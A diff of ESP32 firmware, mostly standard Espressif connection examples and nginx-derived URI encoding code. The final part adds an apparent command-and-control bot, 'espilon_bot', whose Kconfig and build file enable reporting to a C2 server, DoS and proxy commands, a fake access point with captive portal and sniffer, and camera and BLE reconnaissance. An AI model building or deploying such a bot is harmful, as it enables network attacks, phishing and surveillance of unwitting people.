* SPDX-License-Identifier: Unlicense OR CC0-1.0
|
||||
*/
|
||||
/* Private Funtions of protocol example common */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "esp_err.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#if CONFIG_EXAMPLE_CONNECT_IPV6
|
||||
#define MAX_IP6_ADDRS_PER_NETIF (5)
|
||||
|
||||
#if defined(CONFIG_EXAMPLE_CONNECT_IPV6_PREF_LOCAL_LINK)
|
||||
#define EXAMPLE_CONNECT_PREFERRED_IPV6_TYPE ESP_IP6_ADDR_IS_LINK_LOCAL
|
||||
#elif defined(CONFIG_EXAMPLE_CONNECT_IPV6_PREF_GLOBAL)
|
||||
#define EXAMPLE_CONNECT_PREFERRED_IPV6_TYPE ESP_IP6_ADDR_IS_GLOBAL
|
||||
#elif defined(CONFIG_EXAMPLE_CONNECT_IPV6_PREF_SITE_LOCAL)
|
||||
#define EXAMPLE_CONNECT_PREFERRED_IPV6_TYPE ESP_IP6_ADDR_IS_SITE_LOCAL
|
||||
#elif defined(CONFIG_EXAMPLE_CONNECT_IPV6_PREF_UNIQUE_LOCAL)
|
||||
#define EXAMPLE_CONNECT_PREFERRED_IPV6_TYPE ESP_IP6_ADDR_IS_UNIQUE_LOCAL
|
||||
#endif // if-elif CONFIG_EXAMPLE_CONNECT_IPV6_PREF_...
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
#if CONFIG_EXAMPLE_CONNECT_IPV6
|
||||
extern const char *example_ipv6_addr_types_to_str[6];
|
||||
#endif
|
||||
|
||||
void example_wifi_start(void);
|
||||
void example_wifi_stop(void);
|
||||
esp_err_t example_wifi_sta_do_connect(wifi_config_t wifi_config, bool wait);
|
||||
esp_err_t example_wifi_sta_do_disconnect(void);
|
||||
bool example_is_our_netif(const char *prefix, esp_netif_t *netif);
|
||||
void example_print_all_netif_ips(const char *prefix);
|
||||
void example_wifi_shutdown(void);
|
||||
esp_err_t example_wifi_connect(void);
|
||||
void example_ethernet_shutdown(void);
|
||||
esp_err_t example_ethernet_connect(void);
|
||||
esp_err_t example_ppp_connect(void);
|
||||
void example_ppp_start(void);
|
||||
void example_ppp_shutdown(void);
|
||||
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@ -0,0 +1,147 @@
|
||||
/* Common functions for protocol examples, to establish Wi-Fi or Ethernet connection.
|
||||
|
||||
This example code is in the Public Domain (or CC0 licensed, at your option.)
|
||||
|
||||
Unless required by applicable law or agreed to in writing, this
|
||||
software is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
|
||||
CONDITIONS OF ANY KIND, either express or implied.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "esp_err.h"
|
||||
#if !CONFIG_IDF_TARGET_LINUX
|
||||
#include "esp_netif.h"
|
||||
#if CONFIG_EXAMPLE_CONNECT_ETHERNET
|
||||
#include "esp_eth.h"
|
||||
#endif
|
||||
#endif // !CONFIG_IDF_TARGET_LINUX
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#if !CONFIG_IDF_TARGET_LINUX
|
||||
#if CONFIG_EXAMPLE_CONNECT_WIFI
|
||||
#define EXAMPLE_NETIF_DESC_STA "example_netif_sta"
|
||||
#endif
|
||||
|
||||
#if CONFIG_EXAMPLE_CONNECT_ETHERNET
|
||||
#define EXAMPLE_NETIF_DESC_ETH "example_netif_eth"
|
||||
#endif
|
||||
|
||||
#if CONFIG_EXAMPLE_CONNECT_PPP
|
||||
#define EXAMPLE_NETIF_DESC_PPP "example_netif_ppp"
|
||||
#endif
|
||||
|
||||
#if CONFIG_EXAMPLE_WIFI_SCAN_METHOD_FAST
|
||||
#define EXAMPLE_WIFI_SCAN_METHOD WIFI_FAST_SCAN
|
||||
#elif CONFIG_EXAMPLE_WIFI_SCAN_METHOD_ALL_CHANNEL
|
||||
#define EXAMPLE_WIFI_SCAN_METHOD WIFI_ALL_CHANNEL_SCAN
|
||||
#endif
|
||||
|
||||
#if CONFIG_EXAMPLE_WIFI_CONNECT_AP_BY_SIGNAL
|
||||
#define EXAMPLE_WIFI_CONNECT_AP_SORT_METHOD WIFI_CONNECT_AP_BY_SIGNAL
|
||||
#elif CONFIG_EXAMPLE_WIFI_CONNECT_AP_BY_SECURITY
|
||||
#define EXAMPLE_WIFI_CONNECT_AP_SORT_METHOD WIFI_CONNECT_AP_BY_SECURITY
|
||||
#endif
|
||||
|
||||
#if CONFIG_EXAMPLE_WIFI_AUTH_OPEN
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_OPEN
|
||||
#elif CONFIG_EXAMPLE_WIFI_AUTH_WEP
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WEP
|
||||
#elif CONFIG_EXAMPLE_WIFI_AUTH_WPA_PSK
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA_PSK
|
||||
#elif CONFIG_EXAMPLE_WIFI_AUTH_WPA2_PSK
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_PSK
|
||||
#elif CONFIG_EXAMPLE_WIFI_AUTH_WPA_WPA2_PSK
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA_WPA2_PSK
|
||||
#elif CONFIG_EXAMPLE_WIFI_AUTH_WPA2_ENTERPRISE
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_ENTERPRISE
|
||||
#elif CONFIG_EXAMPLE_WIFI_AUTH_WPA3_PSK
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA3_PSK
|
||||
#elif CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_WPA3_PSK
|
||||
#elif CONFIG_EXAMPLE_WIFI_AUTH_WAPI_PSK
|
||||
#define EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WAPI_PSK
|
||||
#endif
|
||||
|
||||
/* Example default interface, prefer the ethernet one if running in example-test (CI) configuration */
|
||||
#if CONFIG_EXAMPLE_CONNECT_ETHERNET
|
||||
#define EXAMPLE_INTERFACE get_example_netif_from_desc(EXAMPLE_NETIF_DESC_ETH)
|
||||
#define get_example_netif() get_example_netif_from_desc(EXAMPLE_NETIF_DESC_ETH)
|
||||
#elif CONFIG_EXAMPLE_CONNECT_WIFI
|
||||
#define EXAMPLE_INTERFACE get_example_netif_from_desc(EXAMPLE_NETIF_DESC_STA)
|
||||
#define get_example_netif() get_example_netif_from_desc(EXAMPLE_NETIF_DESC_STA)
|
||||
#elif CONFIG_EXAMPLE_CONNECT_PPP
|
||||
#define EXAMPLE_INTERFACE get_example_netif_from_desc(EXAMPLE_NETIF_DESC_PPP)
|
||||
#define get_example_netif() get_example_netif_from_desc(EXAMPLE_NETIF_DESC_PPP)
|
||||
#endif
|
||||
|
||||
/**
|
||||
* @brief Configure Wi-Fi or Ethernet, connect, wait for IP
|
||||
*
|
||||
* This all-in-one helper function is used in protocols examples to
|
||||
* reduce the amount of boilerplate in the example.
|
||||
*
|
||||
* It is not intended to be used in real world applications.
|
||||
* See examples under examples/wifi/getting_started/ and examples/ethernet/
|
||||
* for more complete Wi-Fi or Ethernet initialization code.
|
||||
*
|
||||
* Read "Establishing Wi-Fi or Ethernet Connection" section in
|
||||
* examples/protocols/README.md for more information about this function.
|
||||
*
|
||||
* @return ESP_OK on successful connection
|
||||
*/
|
||||
esp_err_t example_connect(void);
|
||||
|
||||
/**
|
||||
* Counterpart to example_connect, de-initializes Wi-Fi or Ethernet
|
||||
*/
|
||||
esp_err_t example_disconnect(void);
|
||||
|
||||
/**
|
||||
* @brief Configure stdin and stdout to use blocking I/O
|
||||
*
|
||||
* This helper function is used in ASIO examples. It wraps installing the
|
||||
* UART driver and configuring VFS layer to use UART driver for console I/O.
|
||||
*/
|
||||
esp_err_t example_configure_stdin_stdout(void);
|
||||
|
||||
/**
|
||||
* @brief Returns esp-netif pointer created by example_connect() described by
|
||||
* the supplied desc field
|
||||
*
|
||||
* @param desc Textual interface of created network interface, for example "sta"
|
||||
* indicate default WiFi station, "eth" default Ethernet interface.
|
||||
*
|
||||
*/
|
||||
esp_netif_t *get_example_netif_from_desc(const char *desc);
|
||||
|
||||
#if CONFIG_EXAMPLE_PROVIDE_WIFI_CONSOLE_CMD
|
||||
/**
|
||||
* @brief Register wifi connect commands
|
||||
*
|
||||
* Provide a simple wifi_connect command in esp_console.
|
||||
* This function can be used after esp_console is initialized.
|
||||
*/
|
||||
void example_register_wifi_connect_commands(void);
|
||||
#endif
|
||||
|
||||
#if CONFIG_EXAMPLE_CONNECT_ETHERNET
|
||||
/**
|
||||
* @brief Get the example Ethernet driver handle
|
||||
*
|
||||
* @return esp_eth_handle_t
|
||||
*/
|
||||
esp_eth_handle_t get_example_eth_handle(void);
|
||||
#endif // CONFIG_EXAMPLE_CONNECT_ETHERNET
|
||||
|
||||
#else
|
||||
static inline esp_err_t example_connect(void) {return ESP_OK;}
|
||||
#endif // !CONFIG_IDF_TARGET_LINUX
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@ -0,0 +1,49 @@
|
||||
/*
|
||||
* Utility functions for protocol examples
|
||||
*
|
||||
* SPDX-FileCopyrightText: 2023 Espressif Systems (Shanghai) CO LTD
|
||||
*
|
||||
* SPDX-License-Identifier: Unlicense OR CC0-1.0
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
|
||||
/**
|
||||
* @brief Encode an URI
|
||||
*
|
||||
* @param dest a destination memory location
|
||||
* @param src the source string
|
||||
* @param len the length of the source string
|
||||
* @return uint32_t the count of escaped characters
|
||||
*
|
||||
* @note Please allocate the destination buffer keeping in mind that encoding a
|
||||
* special character will take up 3 bytes (for '%' and two hex digits).
|
||||
* In the worst-case scenario, the destination buffer will have to be 3 times
|
||||
* that of the source string.
|
||||
*/
|
||||
uint32_t example_uri_encode(char *dest, const char *src, size_t len);
|
||||
|
||||
/**
|
||||
* @brief Decode an URI
|
||||
*
|
||||
* @param dest a destination memory location
|
||||
* @param src the source string
|
||||
* @param len the length of the source string
|
||||
*
|
||||
* @note Please allocate the destination buffer keeping in mind that a decoded
|
||||
* special character will take up 2 less bytes than its encoded form.
|
||||
* In the worst-case scenario, the destination buffer will have to be
|
||||
* the same size that of the source string.
|
||||
*/
|
||||
void example_uri_decode(char *dest, const char *src, size_t len);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@ -0,0 +1,388 @@
|
||||
/*
|
||||
* Utility functions for protocol examples
|
||||
*
|
||||
* SPDX-FileCopyrightText: 2002-2021 Igor Sysoev
|
||||
* 2011-2022 Nginx, Inc.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*
|
||||
* SPDX-FileContributor: 2023 Espressif Systems (Shanghai) CO LTD
|
||||
*/
|
||||
/*
|
||||
* Copyright (C) 2002-2021 Igor Sysoev
|
||||
* Copyright (C) 2011-2022 Nginx, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#include "protocol_examples_utils.h"
|
||||
|
||||
/* Type of Escape algorithms to be used */
|
||||
#define NGX_ESCAPE_URI (0)
|
||||
#define NGX_ESCAPE_ARGS (1)
|
||||
#define NGX_ESCAPE_URI_COMPONENT (2)
|
||||
#define NGX_ESCAPE_HTML (3)
|
||||
#define NGX_ESCAPE_REFRESH (4)
|
||||
#define NGX_ESCAPE_MEMCACHED (5)
|
||||
#define NGX_ESCAPE_MAIL_AUTH (6)
|
||||
|
||||
/* Type of Unescape algorithms to be used */
|
||||
#define NGX_UNESCAPE_URI (1)
|
||||
#define NGX_UNESCAPE_REDIRECT (2)
|
||||
|
||||
|
||||
uintptr_t ngx_escape_uri(u_char *dst, u_char *src, size_t size, unsigned int type)
|
||||
{
|
||||
unsigned int n;
|
||||
uint32_t *escape;
|
||||
static u_char hex[] = "0123456789ABCDEF";
|
||||
|
||||
/*
|
||||
* Per RFC 3986 only the following chars are allowed in URIs unescaped:
|
||||
*
|
||||
* unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
|
||||
* gen-delims = ":" / "/" / "?" / "#" / "[" / "]" / "@"
|
||||
* sub-delims = "!" / "$" / "&" / "'" / "(" / ")"
|
||||
* / "*" / "+" / "," / ";" / "="
|
||||
*
|
||||
* And "%" can appear as a part of escaping itself. The following
|
||||
* characters are not allowed and need to be escaped: %00-%1F, %7F-%FF,
|
||||
* " ", """, "<", ">", "\", "^", "`", "{", "|", "}".
|
||||
*/
|
||||
|
||||
/* " ", "#", "%", "?", not allowed */
|
||||
|
||||
static uint32_t uri[] = {
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
|
||||
/* ?>=< ;:98 7654 3210 /.-, +*)( '&%$ #"! */
|
||||
0xd000002d, /* 1101 0000 0000 0000 0000 0000 0010 1101 */
|
||||
|
||||
/* _^]\ [ZYX WVUT SRQP ONML KJIH GFED CBA@ */
|
||||
0x50000000, /* 0101 0000 0000 0000 0000 0000 0000 0000 */
|
||||
|
||||
/* ~}| {zyx wvut srqp onml kjih gfed cba` */
|
||||
0xb8000001, /* 1011 1000 0000 0000 0000 0000 0000 0001 */
|
||||
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
};
|
||||
|
||||
/* " ", "#", "%", "&", "+", ";", "?", not allowed */
|
||||
|
||||
static uint32_t args[] = {
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
|
||||
/* ?>=< ;:98 7654 3210 /.-, +*)( '&%$ #"! */
|
||||
0xd800086d, /* 1101 1000 0000 0000 0000 1000 0110 1101 */
|
||||
|
||||
/* _^]\ [ZYX WVUT SRQP ONML KJIH GFED CBA@ */
|
||||
0x50000000, /* 0101 0000 0000 0000 0000 0000 0000 0000 */
|
||||
|
||||
/* ~}| {zyx wvut srqp onml kjih gfed cba` */
|
||||
0xb8000001, /* 1011 1000 0000 0000 0000 0000 0000 0001 */
|
||||
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
};
|
||||
|
||||
/* not ALPHA, DIGIT, "-", ".", "_", "~" */
|
||||
|
||||
static uint32_t uri_component[] = {
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
|
||||
/* ?>=< ;:98 7654 3210 /.-, +*)( '&%$ #"! */
|
||||
0xfc009fff, /* 1111 1100 0000 0000 1001 1111 1111 1111 */
|
||||
|
||||
/* _^]\ [ZYX WVUT SRQP ONML KJIH GFED CBA@ */
|
||||
0x78000001, /* 0111 1000 0000 0000 0000 0000 0000 0001 */
|
||||
|
||||
/* ~}| {zyx wvut srqp onml kjih gfed cba` */
|
||||
0xb8000001, /* 1011 1000 0000 0000 0000 0000 0000 0001 */
|
||||
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
};
|
||||
|
||||
/* " ", "#", """, "%", "'", not allowed */
|
||||
|
||||
static uint32_t html[] = {
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
|
||||
/* ?>=< ;:98 7654 3210 /.-, +*)( '&%$ #"! */
|
||||
0x500000ad, /* 0101 0000 0000 0000 0000 0000 1010 1101 */
|
||||
|
||||
/* _^]\ [ZYX WVUT SRQP ONML KJIH GFED CBA@ */
|
||||
0x50000000, /* 0101 0000 0000 0000 0000 0000 0000 0000 */
|
||||
|
||||
/* ~}| {zyx wvut srqp onml kjih gfed cba` */
|
||||
0xb8000001, /* 1011 1000 0000 0000 0000 0000 0000 0001 */
|
||||
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
};
|
||||
|
||||
/* " ", """, "'", not allowed */
|
||||
|
||||
static uint32_t refresh[] = {
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
|
||||
/* ?>=< ;:98 7654 3210 /.-, +*)( '&%$ #"! */
|
||||
0x50000085, /* 0101 0000 0000 0000 0000 0000 1000 0101 */
|
||||
|
||||
/* _^]\ [ZYX WVUT SRQP ONML KJIH GFED CBA@ */
|
||||
0x50000000, /* 0101 0000 0000 0000 0000 0000 0000 0000 */
|
||||
|
||||
/* ~}| {zyx wvut srqp onml kjih gfed cba` */
|
||||
0xd8000001, /* 1011 1000 0000 0000 0000 0000 0000 0001 */
|
||||
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
0xffffffff /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
};
|
||||
|
||||
/* " ", "%", %00-%1F */
|
||||
|
||||
static uint32_t memcached[] = {
|
||||
0xffffffff, /* 1111 1111 1111 1111 1111 1111 1111 1111 */
|
||||
|
||||
/* ?>=< ;:98 7654 3210 /.-, +*)( '&%$ #"! */
|
||||
0x00000021, /* 0000 0000 0000 0000 0000 0000 0010 0001 */
|
||||
|
||||
/* _^]\ [ZYX WVUT SRQP ONML KJIH GFED CBA@ */
|
||||
0x00000000, /* 0000 0000 0000 0000 0000 0000 0000 0000 */
|
||||
|
||||
/* ~}| {zyx wvut srqp onml kjih gfed cba` */
|
||||
0x00000000, /* 0000 0000 0000 0000 0000 0000 0000 0000 */
|
||||
|
||||
0x00000000, /* 0000 0000 0000 0000 0000 0000 0000 0000 */
|
||||
0x00000000, /* 0000 0000 0000 0000 0000 0000 0000 0000 */
|
||||
0x00000000, /* 0000 0000 0000 0000 0000 0000 0000 0000 */
|
||||
0x00000000, /* 0000 0000 0000 0000 0000 0000 0000 0000 */
|
||||
};
|
||||
|
||||
/* mail_auth is the same as memcached */
|
||||
|
||||
static uint32_t *map[] =
|
||||
{ uri, args, uri_component, html, refresh, memcached, memcached };
|
||||
|
||||
|
||||
escape = map[type];
|
||||
|
||||
if (dst == NULL) {
|
||||
|
||||
/* find the number of the characters to be escaped */
|
||||
|
||||
n = 0;
|
||||
|
||||
while (size) {
|
||||
if (escape[*src >> 5] & (1U << (*src & 0x1f))) {
|
||||
n++;
|
||||
}
|
||||
src++;
|
||||
size--;
|
||||
}
|
||||
|
||||
return (uintptr_t) n;
|
||||
}
|
||||
|
||||
while (size) {
|
||||
if (escape[*src >> 5] & (1U << (*src & 0x1f))) {
|
||||
*dst++ = '%';
|
||||
*dst++ = hex[*src >> 4];
|
||||
*dst++ = hex[*src & 0xf];
|
||||
src++;
|
||||
|
||||
} else {
|
||||
*dst++ = *src++;
|
||||
}
|
||||
size--;
|
||||
}
|
||||
|
||||
return (uintptr_t) dst;
|
||||
}
|
||||
|
||||
|
||||
void ngx_unescape_uri(u_char **dst, u_char **src, size_t size, unsigned int type)
|
||||
{
|
||||
u_char *d, *s, ch, c, decoded;
|
||||
enum {
|
||||
sw_usual = 0,
|
||||
sw_quoted,
|
||||
sw_quoted_second
|
||||
} state;
|
||||
|
||||
d = *dst;
|
||||
s = *src;
|
||||
|
||||
state = 0;
|
||||
decoded = 0;
|
||||
|
||||
while (size--) {
|
||||
|
||||
ch = *s++;
|
||||
|
||||
switch (state) {
|
||||
case sw_usual:
|
||||
if (ch == '?'
|
||||
&& (type & (NGX_UNESCAPE_URI | NGX_UNESCAPE_REDIRECT))) {
|
||||
*d++ = ch;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (ch == '%') {
|
||||
state = sw_quoted;
|
||||
break;
|
||||
}
|
||||
|
||||
*d++ = ch;
|
||||
break;
|
||||
|
||||
case sw_quoted:
|
||||
|
||||
if (ch >= '0' && ch <= '9') {
|
||||
decoded = (u_char) (ch - '0');
|
||||
state = sw_quoted_second;
|
||||
break;
|
||||
}
|
||||
|
||||
c = (u_char) (ch | 0x20);
|
||||
if (c >= 'a' && c <= 'f') {
|
||||
decoded = (u_char) (c - 'a' + 10);
|
||||
state = sw_quoted_second;
|
||||
break;
|
||||
}
|
||||
|
||||
/* the invalid quoted character */
|
||||
|
||||
state = sw_usual;
|
||||
|
||||
*d++ = ch;
|
||||
|
||||
break;
|
||||
|
||||
case sw_quoted_second:
|
||||
|
||||
state = sw_usual;
|
||||
|
||||
if (ch >= '0' && ch <= '9') {
|
||||
ch = (u_char) ((decoded << 4) + (ch - '0'));
|
||||
|
||||
if (type & NGX_UNESCAPE_REDIRECT) {
|
||||
if (ch > '%' && ch < 0x7f) {
|
||||
*d++ = ch;
|
||||
break;
|
||||
}
|
||||
|
||||
*d++ = '%'; *d++ = *(s - 2); *d++ = *(s - 1);
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
*d++ = ch;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
c = (u_char) (ch | 0x20);
|
||||
if (c >= 'a' && c <= 'f') {
|
||||
ch = (u_char) ((decoded << 4) + (c - 'a') + 10);
|
||||
|
||||
if (type & NGX_UNESCAPE_URI) {
|
||||
if (ch == '?') {
|
||||
*d++ = ch;
|
||||
goto done;
|
||||
}
|
||||
|
||||
*d++ = ch;
|
||||
break;
|
||||
}
|
||||
|
||||
if (type & NGX_UNESCAPE_REDIRECT) {
|
||||
if (ch == '?') {
|
||||
*d++ = ch;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (ch > '%' && ch < 0x7f) {
|
||||
*d++ = ch;
|
||||
break;
|
||||
}
|
||||
|
||||
*d++ = '%'; *d++ = *(s - 2); *d++ = *(s - 1);
|
||||
break;
|
||||
}
|
||||
|
||||
*d++ = ch;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
/* the invalid quoted character */
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
done:
|
||||
|
||||
*dst = d;
|
||||
*src = s;
|
||||
}
|
||||
|
||||
|
||||
uint32_t example_uri_encode(char *dest, const char *src, size_t len)
|
||||
{
|
||||
if (!src || !dest) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
uintptr_t ret = ngx_escape_uri((unsigned char *)dest, (unsigned char *)src, len, NGX_ESCAPE_URI_COMPONENT);
|
||||
return (uint32_t)(ret - (uintptr_t)dest);
|
||||
}
|
||||
|
||||
|
||||
void example_uri_decode(char *dest, const char *src, size_t len)
|
||||
{
|
||||
if (!src || !dest) {
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned char *src_ptr = (unsigned char *)src;
|
||||
unsigned char *dst_ptr = (unsigned char *)dest;
|
||||
ngx_unescape_uri(&dst_ptr, &src_ptr, len, NGX_UNESCAPE_URI);
|
||||
}
|
||||
3
espilon_bot/main/CMakeLists.txt
Normal file
3
espilon_bot/main/CMakeLists.txt
Normal file
@ -0,0 +1,3 @@
|
||||
idf_component_register(SRCS "bot-lwip.c"
|
||||
INCLUDE_DIRS "."
|
||||
REQUIRES esp_wifi nvs_flash core mod_fakeAP mod_network mod_recon mod_system command)
|
||||
126
espilon_bot/main/Kconfig
Normal file
126
espilon_bot/main/Kconfig
Normal file
@ -0,0 +1,126 @@
|
||||
menu "Epsilon Bot Configuration"
|
||||
|
||||
################################################
|
||||
# Device
|
||||
################################################
|
||||
config DEVICE_ID
|
||||
string "Device ID"
|
||||
default "ce4f626b"
|
||||
help
|
||||
Unique device identifier sent to the C2 server.
|
||||
|
||||
################################################
|
||||
# Core Network
|
||||
################################################
|
||||
menu "Network"
|
||||
|
||||
choice NETWORK_MODE
|
||||
prompt "Connection Mode"
|
||||
default NETWORK_WIFI
|
||||
|
||||
config NETWORK_WIFI
|
||||
bool "WiFi"
|
||||
|
||||
config NETWORK_GPRS
|
||||
bool "GPRS"
|
||||
|
||||
endchoice
|
||||
|
||||
menu "WiFi Settings"
|
||||
depends on NETWORK_WIFI
|
||||
|
||||
config WIFI_SSID
|
||||
string "WiFi SSID"
|
||||
default "mywifi"
|
||||
|
||||
config WIFI_PASS
|
||||
string "WiFi Password"
|
||||
default ""
|
||||
|
||||
endmenu
|
||||
|
||||
menu "GPRS Settings"
|
||||
depends on NETWORK_GPRS
|
||||
|
||||
config GPRS_APN
|
||||
string "APN"
|
||||
default "sl2sfr"
|
||||
|
||||
endmenu
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Server
|
||||
################################################
|
||||
menu "Server"
|
||||
|
||||
config SERVER_IP
|
||||
string "Server IP"
|
||||
default "192.168.1.100"
|
||||
|
||||
config SERVER_PORT
|
||||
int "Server Port"
|
||||
default 2626
|
||||
range 1 65535
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Modules (Command Providers)
|
||||
################################################
|
||||
menu "Modules"
|
||||
|
||||
config MODULE_NETWORK
|
||||
bool "Network Commands"
|
||||
default y
|
||||
help
|
||||
ping, arp_scan, proxy, dos, etc.
|
||||
|
||||
config MODULE_RECON
|
||||
bool "Recon Commands"
|
||||
default n
|
||||
depends on NETWORK_WIFI
|
||||
help
|
||||
Network reconnaissance commands.
|
||||
|
||||
config MODULE_FAKEAP
|
||||
bool "Fake Access Point Commands"
|
||||
default n
|
||||
help
|
||||
Fake AP, captive portal, sniffer.
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Recon Module Settings
|
||||
################################################
|
||||
menu "Recon Settings"
|
||||
depends on MODULE_RECON
|
||||
|
||||
config RECON_MODE_CAMERA
|
||||
bool "Enable Camera Reconnaissance"
|
||||
default n
|
||||
|
||||
config RECON_MODE_BLE_TRILAT
|
||||
bool "Enable BLE Trilateration Reconnaissance"
|
||||
default n
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Security
|
||||
################################################
|
||||
menu "Security"
|
||||
|
||||
config CRYPTO_KEY
|
||||
string "ChaCha20 Key (32 bytes)"
|
||||
default "testde32chars00000000000000000000"
|
||||
|
||||
config CRYPTO_NONCE
|
||||
string "ChaCha20 Nonce (12 bytes)"
|
||||
default "noncenonceno"
|
||||
|
||||
endmenu
|
||||
|
||||
endmenu
|
||||
68
espilon_bot/main/bot-lwip.c
Normal file
68
espilon_bot/main/bot-lwip.c
Normal file
@ -0,0 +1,68 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
